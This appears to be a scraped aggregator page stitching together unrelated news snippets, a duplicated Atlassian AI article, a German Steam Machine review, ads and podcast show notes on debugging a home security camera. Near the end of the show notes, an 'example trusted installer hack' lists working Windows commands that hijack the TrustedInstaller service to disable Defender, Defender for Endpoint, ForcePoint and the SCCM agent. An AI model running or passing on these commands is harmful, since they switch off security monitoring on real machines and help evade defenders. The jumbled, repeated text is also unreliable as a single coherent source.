Cybercrime Group Arrested in Colombia

On July 10, authorities launched Phase II of Operation Red Card in Colombia, conducting simultaneous operations in Bogotá, Soacha, Maríalabaja, Manatí and Sincerín.

An ICHIP-mentored cybercrime prosecutorial team from the Colombian Attorney General’s Office arrested four members of the cybercriminal group Los Ciberinfiltrados. According to the Justice Department, the group had illegally accessed telecommunications systems since 2024 and sold pirated streaming content, including World Cup matches.

The group allegedly used fraudulent credentials, VPNs, interception of security codes and manipulation of corporate system profiles to distribute the pirated content.

In Europe, ICHIP Bucharest also coordinated with Europol and international counterparts to address illegal streaming activities during the World Cup.

World Cup Streaming Crackdown Intensifies

The latest action follows a June 2026 announcement by the U.S. Department of Justice involving the seizure of nearly 400 websites accused of illegally broadcasting FIFA World Cup 2026 matches.

That earlier enforcement action, also conducted under Operation Offsides, targeted websites accused of copyright infringement by offering unauthorized live streams of World Cup matches for profit.

With more than 1,000 domains now seized in the U.S. actions, authorities continue to target unauthorized streaming platforms and digital piracy networks linked to the tournament.

Während eines Tests verselbstständigen sich KI-Modelle und kompromittieren die Infrastruktur der KI-Plattform Hugging Face. Die Verantwortlichen bei OpenAI räumen ein, es handele sich um einen „beispiellosen Cyber-Vorfall“.

The new experience, which will begin rolling out on July 27, 2026, is personalized based on a user's role and available features:

• For teachers, a new dashboard gives actionable insights, highlights student classwork interactions, tracks assignment completion, and surfaces a feature spotlight to help discover instructional tools and resources.

• For students, a dedicated ‘Enrolled’ view reminds learners of coursework that is due soon and helps them manage their deadlines.

• For school leaders and IT administrators, the homepage provides a centralized view to monitor high-level performance analytics, access shortcuts for backend administrative settings, and discover relevant tools to support educators and staff.

Users who have multiple roles (such as a teacher taking a professional development class) can easily change their view dashboard by clicking into another role (for example, Teaching, Enrolled, or Admin). When a user loads the homepage, it returns to the previous role view.

To help users control their view and focus on what matters most to them, all new homepage modules are collapsible.

Please note that not all features and views will be available to all users. Eligibility is determined by the user’s role, feature access, account type, and settings.

Getting started

• Admins: There is no admin control for the new Classroom homepage. Gemini and Gemini Notebook features will only appear if the user is in an OU with Gemini in Classroom, Gemini app, and/or Gemini Notebook enabled. Visit the Help Center to learn about managing access to Gemini in Classroom, Gemini app, Gemini Notebook, and the option to turn these services on or off for users in the Admin console.
• End users: There is no end user setting for the new Classroom homepage. Visit the Help Center to learn more about the new Classroom homepage.

Rollout pace

• Rapid Release and Scheduled Release domains: Full rollout (1-3 days for visibility) starting July 27, 2026

Availability

• Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts

Resources

• Google Classroom Help: Navigate your Classroom Homepage
• 2026: What’s New in Google for Education: Overview of Classroom Homepage

Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.

Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.

Why AI speed isn’t translating into ROI

Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.

"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.

On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it.

On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

How leaders can move AI from individual hack to team advantage

Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.

"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.

To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.

The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.

Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

Die beiden Unternehmen wollen enger zusammenarbeiten . Microsoft sichert sich damit Zugang zu Rechenzentren in Europa, Mistral findet Anschluss an das globale KI-Geschäft.

Das französische Start-up und der US-Tech-Konzern schließen einen Milliardendeal ab. Microsoft sichert sich damit Zugang zu Rechenzentren in Europa, Mistral findet Anschluss an das globale KI-Geschäft.

Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.

Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.

"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.

Why AI speed isn’t translating into ROI

Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.

"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.

But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.

Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.

On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it.

On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.

How leaders can move AI from individual hack to team advantage

Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.

"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.

Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.

To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.

The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.

Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.

Read more →

The post SonicWall SMA zero-days were exploited weeks before disclosure appeared first on IT Security News.

Read more →

The post One Security Alert Exposed a GenAI-Powered Malware Factory Containing More Than 1,000 Attack Files appeared first on IT Security News.

The post SonicWall SMA zero-days were exploited weeks before disclosure appeared first on Help Net Security.

Die USA genehmigen den umstrittenen Satelliten Eärendil-1, der Sonnenlicht auf die nächtliche Erde reflektieren soll. Aber was steht auf dem Spiel, wenn wir die Nacht zum Tag machen?

The post Hackers Exploit SonicWall SMA Zero-Days to Gain Root Access and Deploy ORANGETAIL Webshell appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post SonicWall SMA Zero-Day Chain Lets Attackers Execute Commands as Root appeared first on Cyber Security News.

Tags: #Anthropic | #Cloud | #Meta

Ich habe diese Woche meine Steam Machine erhalten. Ich finde sie irgendwie toll, und doch bin ich von ihr enttäuscht. Es mag unfair sein, Valve die Schuld für die derzeitigen Probleme in der PC-Hardware-Branche zu geben … aber fair oder nicht: Die Steam Machine macht bei ihrem Preis einfach keinen Sinn – weder als erschwinglicher Gaming-PC noch als Alternative zu Spielekonsolen.

Das Positive: Einfacher Zugriff auf SteamOS und meine Steam-Bibliothek

Die Steam Machine ist auf den ersten Blick wirklich bezaubernd. Es handelt sich um einen Würfel mit einer Kantenlänge von circa 15 Zentimetern, der standardmäßig schwarz ist und durch eine austauschbare Kunststofffrontblende sowie eine LED-Anzeigeleiste an der Unterseite ein wenig Charakter erhält. Damit sieht sie aus, als hätten mein Gaming-PC und mein GameCube aus dem Jahr 2001 ein gemeinsames Kind gezeugt.

Dank des zurückhaltenden Designs fügt es sich nahtlos in eine Büroeinrichtung (im Grunde handelt es sich um einen klobigen Mini-PC) oder ein elegantes Entertainment-Center ein. Sie können es jedoch mit einer individuellen Frontblende aufpeppen, wenn Sie möchten – ich habe bereits ein Auge auf ein 3D-gedrucktes „GabeCube“-Design geworfen.

Michael Crider / Foundry

Die Einrichtung im Konsolenstil verläuft zudem erstaunlich reibungslos. Schließen Sie das Gerät an die Stromversorgung und den HDMI-Anschluss an, verbinden Sie einen Controller und richten Sie eine WLAN-Verbindung sowie die Steam-Anmeldung ein. Ich war zwar etwas enttäuscht, als ich die üblichen automatischen Updates im PC-Stil sowohl für die Steam Machine als auch für den Steam Controller sah, aber so läuft es heutzutage nun einmal.

In weniger als 20 Minuten lud ich bereits Spiele herunter – ich begann mit Hades II – und wartete darauf, dass weitere im Hintergrund heruntergeladen wurden. Der Einrichtungsvorgang fühlt sich mehr oder weniger identisch an wie der, an den ich mich von meinem ersten Start der PS5 vor etwa vier Jahren erinnere.

Der größte Unterschied zu dieser Erfahrung besteht darin, dass die Steam Machine meiner Meinung nach etwas kleiner ist als meine klobige PS5. Vielleicht ist das kein fairer Vergleich, da die PS5 über ein Laufwerk verfügt … aber sie hat auch eine APU-Konfiguration und ist in Bezug auf die Hardware bei weitem nicht so leicht zugänglich.

Die Steam Machine ist zudem unglaublich leise. Selbst wenn ich sie mit den grafikintensivsten Spielen voll auslastete, konnte ich ihren Betrieb aus einer Entfernung von einem Meter kaum hören.

Michael Crider / Foundry

Wenn Sie bereits mit einem Steam Deck experimentiert oder sich selbst eines zusammengebaut haben, wird Ihnen das alles sehr vertraut vorkommen. Valve hat sowohl bei der Steam-Plattform selbst als auch bei SteamOS beeindruckende Arbeit geleistet, um das System reibungslos und nahtlos zu gestalten. Mit dem Steam-Controller wird es sogar noch besser, obwohl jedes handelsübliche Xbox-kompatible Gamepad einwandfrei funktioniert, wenn Sie die Touchpads oder die Gyro-Steuerung nicht benötigen.

Leistung – einige Höhen und Tiefen

Ich habe einen neuen Durchgang in Absolum gestartet, einem meiner Favoriten aus dem letzten Jahr, um einen Eindruck von der allgemeinen Spielatmosphäre zu gewinnen. Ich habe dieses Spiel komplett an meinem Schreibtisch durchgespielt. Die Grafik in diesem Titel ist absolut umwerfend, allerdings handelt es sich um reines 2D – oder um eine Art von 3D, die so subtil ist, dass sie praktisch unsichtbar ist.

Wie zu erwarten war, bewältigte die Steam Machine mit ihrer AMD-CPU der Mittelklasse und der dedizierten GPU dieses Spiel in 4K völlig ruckelfrei.

Michael Crider / Foundry

Das ist keine Überraschung. Hades II liegt technisch in etwa auf dem gleichen Niveau und bietet eine ganze Reihe von 3D-Modellen und Effekten auf dem Bildschirm. Auch weniger anspruchsvolle 3D-Spiele liefen butterweich – und God of Weapons funktionierte auf der Steam Machine sogar besser als auf meinem hochmodernen Gaming-PC, da ich aufgrund eines Problems mit meiner Windows-Konfiguration den Controller dort nie zum Laufen bringen konnte. Unter SteamOS lief alles reibungslos. Zeit für eine etwas größere Herausforderung.

Ich habe eines meiner Lieblings-Open-World-Spiele auf der Steam Machine getestet: Horizon: Zero Dawn. Das war seinerzeit ein Vorzeigetitel für die PS4, und die PS5-Remaster-Version erhielt eine PC-Portierung, die absolut umwerfend ist. Es ist zudem erstaunlich gut optimiert und läuft auch auf Handhelds ohne größere Probleme. Und auch auf der Steam Machine macht es eine gute Figur.

Ich habe die Auflösung auf 4K erhöht, die Grafik auf „hoch“ eingestellt und zusätzlich AMD FSR aktiviert, denn genau für solche filmreifen Meisterwerke wurde diese Technik entwickelt. Die Steam Machine bewältigte das Spiel sogar noch besser, als ich erwartet hatte: Im integrierten Benchmark erreichte sie 59 FPS und im Open-World-Spiel, in dem man gegen komplexe Robotermonster kämpft, konstant 50 bis 60 FPS.

Michael Crider / Foundry

Zeit, das Tempo zu erhöhen. Ich habe mein neues Lieblingsspiel aus diesem Jahr gestartet: Dead as Disco. Dabei handelt es sich um ein Spiel auf Basis der Unreal Engine 5, das kleine Arenen und jeweils nur etwa ein Dutzend Charaktere auf dem Bildschirm zeigt, dafür aber mit beeindruckenden Effekten aufwartet, um dem musikalischen Beat-’em-up-Gameplay zusätzliche Atmosphäre zu verleihen.

Es ist zudem ein hervorragendes Beispiel dafür, wie wichtig Stabilität und Laufruhe beim Gaming sind; schon ein paar Ruckler reichen aus, um den Groove zu stören. Dies war das erste Spiel, das bei 4K Schwierigkeiten hatte, wobei die Bildrate in den Bereich von 30–45 FPS abfiel und mich auf der Tanzfläche etwas weniger tödlich machte.

Michael Crider / Foundry

Um eine ideale Mischung aus Grafik und Leistung zu erzielen, musste ich die Auflösung auf 1080p herunterstufen – eine echte Schande auf meinem schicken LG-OLED-Fernseher. Der erste Kompromiss, aber nicht der letzte. Das derzeitige „Schwergewicht“ in meiner Steam-Bibliothek ist, passenderweise, Space Marine 2. Dieser Titel aus dem Jahr 2024 strotzt nur so vor Echtzeit-Action, zeigt Hunderte von Kreaturen gleichzeitig auf dem Bildschirm und überwältigt einen regelrecht mit jeder grafischen Raffinesse. Bei den standardmäßigen automatischen Einstellungen schaffte es das Spiel gerade so, in der Intro-Mission 60 FPS zu erreichen.

Dann habe ich die Auflösung auf 4K erhöht, da die Einstellungen für die Steam Machine 1080p automatisch ausgewählt hatten. Was sich letztlich als die richtige Entscheidung herausstellte. Denn bei 4K sank die Bildrate auf etwa 15–20 FPS, was das Gameplay erheblich beeinträchtigte. Mit ein wenig Feineinstellung im Grafikmenü gelang es mir, die Bildrate auf etwa 30 FPS zu steigern … was immer noch nicht besonders gut ist, vor allem, wenn man am Multiplayer-Modus teilnehmen möchte. Also bleibt es bei 1080p.

Michael Crider / Foundry

Diese Ergebnisse entsprechen in etwa meinen Erwartungen, wenn man die verfügbare Hardware berücksichtigt, die sich seit der Ankündigung der Steam Machine aufgrund einer enttäuschenden Herabstufung auf Single-Channel-RAM sogar noch verschlechtert hat. Im Vergleich zur Konkurrenz liegt das Gerät in etwa auf dem Niveau der PS5, obwohl es in der Basisausstattung bei beiden etwas weniger als das Doppelte kostet.

Dies ist aus vielen Gründen kein direkter Vergleich – Steam übertrifft Playstation beispielsweise bei der Spielauswahl um eine Größenordnung. Aber fast doppelt so viel für eine ähnliche Leistung zu bezahlen, sieht nicht gut aus, wie man es auch dreht und wendet.

Die negativen Aspekte: ein mittelmäßiges Mediengerät und Streaming-Gerät

SteamOS ist großartig. Ich bin immer noch davon überzeugt, dass es die Zukunft des PC-Gamings sein könnte. Aber es steht auch immer noch ziemlich eindeutig auf der „PC“-Seite der Kluft zwischen PC und Konsole. Trotz jahrelanger Arbeit von Valve gibt es immer noch einige Schwachstellen, die behoben werden müssen.

Als ich beispielsweise meine Steam Machine an meinen Fernseher anschloss, erwartete ich, dass sie von Haus aus mit einem Surround-Sound-System funktionieren würde. Das tut sie auch irgendwie. Ich erhalte Ton aus den hinteren Lautsprechern, aber in keinem der von mir getesteten Spiele scheint tatsächlich eine Surround-Sound-Zuordnung zu erfolgen. Ich werfe also einen Blick in das SteamOS-Einstellungsmenü, und dort steht lediglich, dass der Ton über HDMI ausgegeben wird. Die individuellen Spieleinstellungen sind wenig hilfreich.

Michael Crider / Foundry

Das ist ein Problem, das ich wahrscheinlich mit etwas zusätzlichem Aufwand beheben könnte. Aber das sollte eigentlich nicht nötig sein – wenn Valve dieses Gerät als Gaming-Gerät für Ihr Wohnzimmer positioniert, sollte es automatisch funktionieren, vielleicht nach fünf Minuten der Feinabstimmung der Einstellungen. Bei der PS5 funktioniert das so. Und der Steam Machine fehlen einige der unverzichtbaren Tools für ein Gerät, das als Unterhaltungszentrum dienen soll. Ich kann beispielsweise weder Netflix noch Disney+ aufrufen, ohne zunächst einen Browser zu öffnen.

Das tendiert jedoch eher zur Konsolenseite. Ich habe mich daher entschlossen, den Fokus auf den PC-Gaming-Aspekt zu legen. Ich habe einen ziemlich leistungsstarken PC in meinem Büro, und SteamOS verfügt über eine direkt integrierte lokale Streaming-Funktion. Dieses Gerät kann Space Marine 2 mit voller Leistung ausführen und meinen 240-Hz-Monitor mit einer Auflösung von 3440 × 1440 problemlos voll auslasten. Warum also nicht einfach per Fernzugriff spielen?

Weil es einen zwei Jahre alten Fehler gibt, der das Streamen von Space Marine 2 über Steam verhindert, deshalb. Ich begann, das Spiel zu streamen, und es wurde standardmäßig auf die Ultrawide-Auflösung meines PCs eingestellt. Nicht ideal, aber das lässt sich auf verschiedene Weise beheben. Aber ich kann das Problem nicht beheben, wenn ich das Spiel nicht steuern kann. Und das kann ich nicht, da die Gamepad-Eingaben aus der Ferne einfach nicht funktionieren – und das schon seit der Veröffentlichung.

Dabei handelt es sich nicht um irgendein obskures Indie-Spiel, sondern um einen Riesenerfolg, dessen Multiplayer-Community nach wie vor stark genug ist, um regelmäßige Inhaltsupdates zu erhalten. Ich vermute, es spielen einfach nicht genug Leute auf diese Weise, als dass es eine Rolle spielen würde.

Michael Crider / Foundry

Das Streamen anderer Spiele war, nun ja, machbar. Selbst ohne diesen lästigen Controller-Fehler (der eher bei den Spieleentwicklern als beim Gerät liegt) war es mühsam, andere Spiele von meinem Gaming-PC auf den Fernseher zu übertragen. Ich musste die Einstellungen viel sorgfältiger vornehmen; es gab keine Möglichkeit, die Auflösung auf volle 4K einzustellen, da meine Monitore maximal 1440p unterstützen, und die offensichtliche Latenz war für Spiele wie Dead as Disco nicht gerade vorteilhaft. Dies ist einfach keine optimale Art, PC-Spiele zu erleben, auch wenn es schön war, sie auf dem großen Bildschirm zu sehen.

Das ideale Steam-Machine-Spiel ist daher eines, das in Sachen 3D-Grafik nicht allzu hohe Anforderungen stellt. Und das ist ein vernichtendes Urteil für ein Produkt, das vorgibt, PC-Gaming ins Wohnzimmer zu bringen.

Das Schlimmste: ein miserables Preis-Leistungs-Verhältnis

Das große Tabuthema bei der Steam Machine war schon immer ihr Preis. Selbst bevor KI die PC-Hardware regelrecht in den Ruin trieb und wir noch davon ausgingen, dass der Preis irgendwo zwischen 600 und 900 Euro liegen würde – war das bereits eine stattliche Summe, sei es für eine Konsole oder einen Gaming-PC mittlerer Leistungsklasse. Bei einem Einstiegspreis von aktuell 1.039 Euro sieht das einfach schlecht aus.

Ich gehe davon aus, dass Valve jeden Cent eingespart hat, den es konnte, und es dennoch nicht geschafft hat, den Preis auf unter 1000 Euro zu senken. Es ist nicht Valves Schuld, dass das Jahr 2026 eine verwüstete Höllenlandschaft ist. Aber man kann normalen Käufern, die ohnehin schon zu kämpfen haben, nicht sagen, sie sollten das Marktgeschehen im größeren Zusammenhang betrachten. 1.000 Euro für einen Gaming-PC der Mittelklasse, der zudem für normale PC-Aufgaben nicht gut geeignet ist, sind kein gutes Angebot.

Sicher, man könnte einen normalen Linux-Desktop darauf installieren, einen Browser einrichten und das Gerät wie einen gewöhnlichen PC nutzen. Aber warum sollte man das tun, wenn man für denselben Preis – oder sogar weniger – einen Windows-Rechner erhalten kann, der ebenso leistungsfähig ist?

PCPartPicker.com

Auch wenn ich mir sicher bin, dass Linux-Fans und überzeugte SteamOS-Anhänger dieses Argument gerne vorbringen würden, kann ich das für den Durchschnittsnutzer, der einfach nur ein paar Spiele spielen möchte, nicht nachvollziehen. Ich sage es ganz offen: Wenn Sie Videospiele spielen möchten und ganz von vorn anfangen, sind eine Playstation 5 (Pro) oder eine Switch 2 die bessere Wahl. Selbst wenn man die zahlreichen exklusiven Titel außer Acht lässt, ist dies einfacher und kostengünstiger, und der zusätzliche Aufwand, der mit SteamOS einhergeht, ist einfach abschreckend.

Für wen ist die Steam Machine also gedacht? Wenn man Valve beim Wort nimmt, ist die Steam Machine für jemanden gedacht, der über eine riesige Steam-Bibliothek verfügt und diese Spiele auf einfache Weise auf seinem Fernseher spielen möchte. Und dafür funktioniert sie … mit wichtigen Ausnahmen, wie zum Beispiel dem Spielen der neuesten Spiele in 4K. Und dafür zahlen Sie einen hohen Preis.

Zum Vergleich: Mein aktueller Gaming-PC (7800X3D und 5070 Ti) würde heute etwa 2.300 Euro kosten, vielleicht 1.500 Euro, bevor dieser ganze KI-Unsinn den Markt in die Höhe getrieben hat. Und er kann Space Marine 2 mit etwa der vierfachen Leistung der Steam Machine spielen – zum 2,5-fachen Preis. Die Steam Machine bietet, wie man es auch dreht und wendet, ein schlechtes Preis-Leistungs-Verhältnis.

SteamOS ist der Star

Trotz alledem bin ich in Bezug auf einen Aspekt der Steam Machine nach wie vor optimistisch: ihr Betriebssystem. Was vor einem Jahrzehnt bei den ursprünglichen Steam Machines noch ein Wunschtraum war, hat sich zu einer echten, auf Gaming ausgerichteten Linux-Version entwickelt, die auch für Mainstream-Nutzer zugänglich ist. Sie ist nicht in jeder Hinsicht perfekt ausgefeilt, aber das ist Windows ja auch nicht. Und diese Version wurde von Grund auf für das Gaming entwickelt.

Valve scheint mir zuzustimmen, da es nun möglich ist, offizielle Versionen von SteamOS auf selbstgebauten PCs zu installieren – ganz ohne „Bazzite“-Distributionen. Es gibt noch viel Unterstützung, die ausgebaut werden muss, vor allem bei Intel- und Nvidia-Hardware, aber auch daran wird bereits gearbeitet. Und da der Steam Frame bald auf den Markt kommt, sieht es so aus, als würde SteamOS auch auf ARM-basierte Hardware vorstoßen. Das ist wirklich spannend.

Michael Crider / Foundry

Allmählich taucht Gaming-PC-Hardware mit vorinstalliertem SteamOS auf, bei der Windows nirgends zu finden ist. Ein solches Gerät haben wir bereits von Lenovo, einem der größten PC-Hersteller der Welt, in Form des „Legion Go“ mit SteamOS erhalten. Es gibt Gerüchte, dass auch kleinere Unternehmen ähnliche Schritte unternehmen. Ich glaube jedoch, dass wir nur noch etwa ein Jahr davon entfernt sind, dass bei Amazon ein Gaming-Laptop mit einem Linux-Betriebssystem verkauft wird.

In der Zwischenzeit würde ich sagen: Kaufen Sie die Steam Machine nicht. Es macht im Moment einfach keinen Sinn, aber auf diesem Markt ist sie in dieser Hinsicht kaum ein Einzelfall. Für die Art von Spielen, bei denen die Steam Machine glänzt, würde ich mir einen günstigeren Mini-PC zulegen und SteamOS darauf installieren. Oder Sie lassen einfach Windows und Steam im Big-Picture-Modus laufen.

Alternativ könnte ein Laptop, den Sie nicht nutzen, wahrscheinlich denselben Zweck erfüllen. Wenn Sie einen Steam-Controller ergattern können, wären Sie schon fast am Ziel. Obwohl ein Xbox-Controller derzeit wahrscheinlich die realistischere Option ist.

Die Steam Machine ist spannend – wenn auch weniger wegen dem, was sie tatsächlich ist, als vielmehr wegen dem, wofür sie steht. Vielleicht verkaufe ich sie in ein paar Monaten, nachdem ich sie ausgiebig ausprobiert habe. Oder ich behalte sie einfach, um weiter zu verfolgen, was Valve mit SteamOS vorhat. Aber das gehört buchstäblich zu meinem Job. Für diejenigen, die einfach nur Spiele spielen möchten, würde ich empfehlen, diese Kaufgelegenheit lieber auszulassen.

Read more →

The post Volexity Uncovers Zero-Day Campaign Targeting SonicWall VPN Appliances appeared first on IT Security News.

Dubai Police Fraudulent Visa Ads Circulating on Social Media

Authorities Urge Public to Verify Visa Offers

How to Report Fraud Attempts

Show Notes

Episode Overview

• Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

• • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
  • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
  • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
  • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
  • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
  • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

• • crontab + Python scripts for automated monitoring
  • grep -v , cat , tail , and vi (line navigation with :1000 )
  • Obsidian for note-taking & AI assistant integration
  • Firefox/Playwright for headless browser testing
  • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
  • 7-Zip for archive extraction
  • Google Drive for searchable config backups

Resources & Links

• • Python API Script: Uniview IPC3628SR Recording Checker
  • Camera Model: IPC3628SR (Uniview Wyze ISP Warm Light Deterrent Network Camera)
  • TrustedInstaller Run-as Tool: ExecTI TrustedInstaller Runner

Quick Takeaways

1. 1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
   2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
   3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
   4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
   5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.

• Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

Dieser Beitrag SonicWall SMA: UTA0533 nutzt Zero-Days vor Patch-Veröffentlichung für Root-Zugriff erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more →

The post SonicWall SMA Zero-Days Exploited Before Disclosure to Gain Root Access appeared first on IT Security News.

1. File a bug

2. Visit our ChromeOS communities

1. General: Chromebook Help Community

2. Beta Specific: ChromeOS Beta Help Community

3. Report an issue or send feedback on Chrome

4. Interested in switching channels? Find out how.

Tags: #Smartphone | #Social Media

Tags: #Künstliche Intelligenz | #LinkedIn

Read more of this story at Slashdot.

Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem äußerst angespannten Markt konfrontiert.

PROMOTION

Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an

Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.

Erfahren Sie mehr über das HP OmniBook 5 Flip

